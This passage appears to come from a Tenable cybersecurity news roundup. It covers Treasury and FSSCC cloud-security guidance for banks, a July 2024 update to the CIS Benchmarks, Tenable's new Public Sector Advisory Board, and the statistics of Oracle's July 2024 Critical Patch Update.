• “Create an open source security policy for your organization” (TechTarget)
• “How to Navigate Open-Source Security Without Stifling Innovation” (Infosecurity)
• “Study finds that SW developers lack cybersecurity skills” (Tenable)

Banks and other financial services institutions looking for fresh guidance on adopting cloud securely can check out new best-practices documents published this week.

The documents, published by the U.S. Treasury Department and the Financial Services Sector Coordinating Council (FSSCC) industry non-profit group, seek to accomplish goals such as:

• Establishing a common cloud-computing terminology for banks and regulators.
• Crafting best practices for reducing cloud-related third-party risk
• Improving transparency and monitoring of cloud services
• Creating a framework for cloud services adoption

“Today’s publications mark a significant step forward by providing a roadmap and helpful resources for banks of all sizes,” Acting Comptroller of the Currency Michael J. Hsu said in a statement. “These documents also clarify cloud service providers’ responsibilities for ensuring a secure and resilient financial system.”

To get more details, check out the Treasury’s announcement “Treasury and the Financial Services Sector Coordinating Council Publish New Resources on Effective Practices for Secure Cloud Adoption.”

For more information about cybersecurity in the financial sector:

• “The cyber clock is ticking: Derisking emerging technologies in financial services” (McKinsey)
• “A Cyber Defense Guide for the Financial Sector” (Center for Internet Security)
• “4 steps to secure your treasury operations from cyberattacks” (J.P. Morgan)
• “Global financial stability at risk due to cyber threats” (World Economic Forum)
• “The rise of cyberattacks on financial institutions highlights the need to build a security culture” (SC Magazine)

Apple’s macOS. Microsoft’s Windows Server. Red Hat’s Enterprise Linux. Google’s Kubernetes Engine.

Those are among the products included in the latest round of updates for the popular CIS Benchmarks from the Center for Internet Security.

Specifically, these new secure-configuration recommendations were updated in June:

• CIS AlmaLinux OS 9 Benchmark v2.0.0
• CIS Apple macOS 12.0 Monterey Benchmark v3.1.0
• CIS Apple macOS 13.0 Ventura Benchmark v2.1.0
• CIS Apple macOS 14.0 Sonoma Benchmark v1.1.0
• CIS Google Kubernetes Engine (GKE) Benchmark v1.6.0
• CIS Microsoft Windows Server 2019 Stand-alone Benchmark v2.0.0
• CIS NGINX Benchmark v2.1.0
• CIS Oracle Linux 9 Benchmark v2.0.0
• CIS Red Hat Enterprise Linux 9 Benchmark v2.0.0
• CIS Red Hat OpenShift Container Platform Benchmark v1.6.0
• CIS Rocky Linux 9 Benchmark v2.0.0

In addition, CIS released brand new Benchmarks for AWS storage services, including Amazon Simple Storage Service (S3), and for Microsoft Azure database services, including Azure SQL.

Organizations can use the CIS Benchmarks’ secure-configuration guidelines to harden products against attacks. Currently, there are more than 100 Benchmarks for 25-plus vendor product families. Categories include cloud platforms; databases; desktop and server software; mobile devices; operating systems; and more.

To get more details, read the CIS blog “CIS Benchmarks July 2024 Update.” For more information about the CIS Benchmarks list, check out its home page, as well as:

• “Getting to Know the CIS Benchmarks” (CIS)
• “Security Via Consensus: Developing the CIS Benchmarks” (Dark Reading)
• “How to Unlock the Security Benefits of the CIS Benchmarks” (Tenable)
• “CIS Benchmarks Communities: Where configurations meet consensus” (Help Net Security)
• “CIS Benchmarks: DevOps Guide to Hardening the Cloud” (DevOps)

Rob Joyce and Mark Weatherford will help Tenable shape federal cyber and AI policy.

The landscape of cybersecurity policies, regulations and recommendations at both the federal and state levels continues to rapidly evolve. Tenable has long advocated for policies that enhance cybersecurity and digital resilience and participated in numerous public private partnerships to provide cybersecurity and technology insight to policymakers and government officials. 

That’s why today, Tenable is proud to launch its inaugural Public Sector Advisory Board. Inaugural members include Rob Joyce, former Director of Cybersecurity at the National Security Agency (NSA) and Mark Weatherford, former first Deputy Under Secretary for Cybersecurity at the Department of Homeland Security (DHS). They will be joined by Tenable Chairman and CEO Amit Yoran, and James Hayes, Senior Vice President of Global Government Affairs at Tenable.

These former senior officials who served in the Obama, Trump, and Biden administrations will help Tenable shape Federal and state cybersecurity policies, while supporting the collective mission to protect U.S. critical infrastructure. Tenable is uniting top industry and government professionals to share ideas and offer solutions to address the ongoing cybersecurity threats facing the U.S. 

To better protect people and critical infrastructure from cyber threats, we must best position the public and private sectors to work together. Tenable’s Public Service Advisory Board will enable just that.

Read the full announcement here: https://www.tenable.com/press-releases/tenable-launches-public-sector-advisory-board-and-names-inaugural-members

Oracle addresses 175 CVEs in its third quarterly update of 2024 with 386 patches, including 26 critical updates.

On July 16, Oracle released its Critical Patch Update (CPU) for July 2024, the third quarterly update of the year. This CPU contains fixes for 175 CVEs in 386 security updates across 29 Oracle product families. Out of the 386 security updates published this quarter, 6.7% of patches were assigned a critical severity. Medium severity patches accounted for the bulk of security patches at 45.9%, followed by high severity patches at 45.1%.

This quarter’s update includes 26 critical patches across 15 CVEs.

This quarter, the Oracle Commerce product family contained the highest number of patches at 95, accounting for 24.6% of the total patches, followed by Oracle E-Business Suite at 60 patches, which accounted for 15.6% of the total patches.

A full breakdown of the patches for this quarter can be seen in the following table, which also includes a count of vulnerabilities that can be exploited over a network without authentication.

Customers are advised to apply all relevant patches in this quarter’s CPU. Please refer to the July 2024 advisory for full details.

A list of Tenable plugins to identify these vulnerabilities will appear here as they’re released. This link uses a search filter to ensure that all matching plugin coverage will appear as it is released.

• Oracle Critical Patch Update Advisory - July 2024
• Oracle July 2024 Critical Patch Update Risk Matrices
• Oracle Advisory to CVE Map

Join Tenable's Security Response Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.